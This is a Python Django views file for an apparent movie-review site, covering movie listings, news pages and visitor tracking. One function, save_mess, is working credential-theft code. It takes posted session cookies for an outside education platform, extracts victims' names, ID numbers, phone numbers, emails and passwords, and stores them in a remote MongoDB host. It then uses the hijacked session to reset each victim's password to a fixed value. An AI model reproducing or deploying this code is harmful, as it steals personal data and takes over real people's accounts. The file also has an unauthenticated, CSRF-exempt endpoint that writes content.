import urllib
import hashlib
import random
from functools import wraps

import pymongo
import requests
from django.shortcuts import render
from django.http import HttpResponse, JsonResponse, Http404
from django.core.paginator import Paginator
from django.core.serializers import serialize
from django.views.decorators.csrf import csrf_exempt
import json

from z_web.models import *

# def site_map(request):
#     # request = args[0]
#     base_url = "http://www.dwang.top"
#     urls = [base_url, base_url + "/index", base_url + "/list"]
#     for i in Movie.objects.all().values_list("id", flat=True):
#         urls.append(base_url+ "/index/{}/".format(i))
#         urls.append(base_url + "/web/movie/{}/".format(i))
#     # with open("/tmp/sitemap", "w") as f:
#     #     f.write("\n".join(urls))
#     return HttpResponse("<br>".join(urls))

def record_visit(a_func):
    @wraps(a_func)
    def wrapTheFunction(*args, **kwargs):
        request = args[0]

        # ip
        if request.META.get('HTTP_X_FORWARDED_FOR'):
                ip = request.META.get("HTTP_X_FORWARDED_FOR")
        else:
            ip = request.META.get("REMOTE_ADDR")

        # md5
        md = request.COOKIES.get("md")
        if not md:
            md = hashlib.md5(str(random.random()).encode("utf-8")).hexdigest()
        args[0].COOKIES.update({"md": md})

        # source
        source = request.GET.get("source") or request.COOKIES.get("source")
        if source: args[0].COOKIES.update({"source": source})

        # page
        visit_page = request.path_info

        vr = VisitRecord.objects.update_or_create(visit_token=md)
        VisitDetail.objects.update_or_create(visit_ip=ip, visit_page=visit_page, visit_source=source, to_record=vr[0])

        return a_func(*args, **kwargs)
    return wrapTheFunction


def get_dev(request):
    agent = request.headers["User-Agent"].lower()
    return "phone" if "android" in agent or "iphone" in agent else "pc"


# Create your views here.
def movies(request):
    """
    视频api
    :param request:  page
    :return: json_list
    """
    page_id = int(request.GET.get("page", 1))
    mvs = Movie.objects.all().order_by("-pk")
    
    paginator = Paginator(mvs, 5)
    if page_id <= 0 or page_id > paginator.num_pages:
        return JsonResponse({"status": "page error."}, safe=False, status=404)
    page = paginator.page(page_id)
    ser = serialize("json", page)

    return HttpResponse(ser, "application/json")


def teach_index(request):
    """
    返回我的get页面
    :param request:
    :return:
    """
    return render(request, "html/get.html")

@record_visit
def index(request, page=0):
    """
    返回我的get页面
    :param request:
    :return:
    """
    context = {}
    if page:
        mvs = Movie.objects.all().filter(id__lte=page).order_by("-pk")[: 5]
    else:
        mvs = Movie.objects.all().order_by("-pk")[page:page+5]
    context["movies"] = mvs
    context["dev"] = get_dev(request)
    context["news"] = MovieNew.objects.all()[:10]
    context["visit"] = "主页" if page == 0 else "简评"
    res = render(request, "html/movie_station.html", context)
    res.set_cookie("md", request.COOKIES.get("md"), max_age=365*24*60*60)
    if request.COOKIES.get("source"): res.set_cookie("source", request.COOKIES.get("source"))
    return res


@record_visit
def movie(request, _id):
    context = {}
    _id = int(_id)
    mvs = Movie.objects.all().filter(id__lte=_id).order_by("-pk")[: 5]
    if _id != mvs[0].id: raise Http404
    context["movies"] = mvs
    context["dev"] = get_dev(request)
    return render(request, "html/movie_page.html", context)


@record_visit
def movie_list(request, _page=1):
    context = {}
    _page = int((request.GET.get("page") or _page)) - 1
    page_size = 7
    mvs = Movie.objects.all().order_by("-pk")[_page*page_size: (_page+1)*page_size]
    if not mvs: raise Http404
    context["movies"] = mvs
    context["page"] = _page
    context["dev"] = get_dev(request)
    context["page_size"] = page_size
    return render(request, "html/movie_list.html", context)


def save_mess(request):
    myclient = pymongo.MongoClient("mongodb://zgtxcj.com:32771/")
    mydb = myclient["hbt_gpa_enetedu_com"]
    col_super_user = mydb["super_user_mess"]

    data = dict(request.POST)
    # print(data["visit_url"][0])

    cookies = data["cookies"][0]
    sess = requests.Session()
    sess.headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36"}
    key_list = ["name", "nick_name", "login_name", "password", "cardnum", "email", "sex", "academy", "science", "study_section", "province", "school", "xian", "districtcounty", "beizhutwo", "telephone", "cellphone", "cellphone_jp"]

    valid_data = data
    for cook in cookies.split(";"):
        try:
            if "EDUCATION_USER_INFO_SESSION_FRONT" in cook:
                key, value = cook.split("=", 1)
                sess.cookies = requests.cookies.cookiejar_from_dict({key: value})
                vvv = urllib.parse.unquote(value)

                for v in vvv.split("&"):
                    _k, _v = v.split("=")
                    if _k in key_list and _v:
                        valid_data.update({_k: _v})
        except:
            pass

    # pwd = sess.get("https://hbt.gpa.enetedu.com/UserCenter/InfoForPwd")
    # print(pwd.request.headers)
    password = "Super123456."
    data = {"ispwd": "true",
            "login_name": valid_data["login_name"] or valid_data["cardnum"],
            "nick_name": valid_data["nick_name"],
            "password": password,
            "password_confirm": password}
    sess.allow_redirect = False
    url = "https://hbt.gpa.enetedu.com/UserCenter/InfoForPwdSave?ispwd={}&login_name={}&nick_name={}&password={}&password_confirm={}".format(data["ispwd"], data["login_name"], urllib.parse.quote(data["nick_name"]), data["password"], data['password_confirm'])

    valid_data["password"] = password
    col_super_user.update_one({"id_card": data["login_name"]}, {"$set": valid_data}, upsert=True)

    sess.get(url)
    return JsonResponse({"status": "success"})


def page_not_found(request, exception):
    return render(request, '404.html')


def news(request):
    context = {}
    _page = int(request.GET.get("page", "1"))
    page_size = 50
    if _page == 0:
        _page = 1        
    mns = MovieNew.objects.all()[(_page-1)*page_size: _page*page_size]
    context["news"] = mns
    context["page"] = _page
    context["page_size"] = page_size
    return render(request, "html/news.html", context)


@csrf_exempt
def new(request, _id=0):
    if request.method == "GET":
        context = {}
        new = MovieNew.objects.get(id=_id)
        context["n"] = new
        context["last"] = MovieNew.objects.filter(id=_id-1)
        context["next"] = MovieNew.objects.filter(id=_id+1)
        return render(request, "html/new.html", context)
    else:
        data = request.POST
        new = MovieNew.objects.get_or_create(title=data["title"], content="")[0]
        new.content = data["content"]
        new.source = data.get("source")
        new.save()
        return HttpResponse(str(123))


def friendly_links(request):
    links = FriendlyLink.objects.filter(valid=True)
    context = {"links": links}
    return render(request, "html/friendly_link.html", context)
        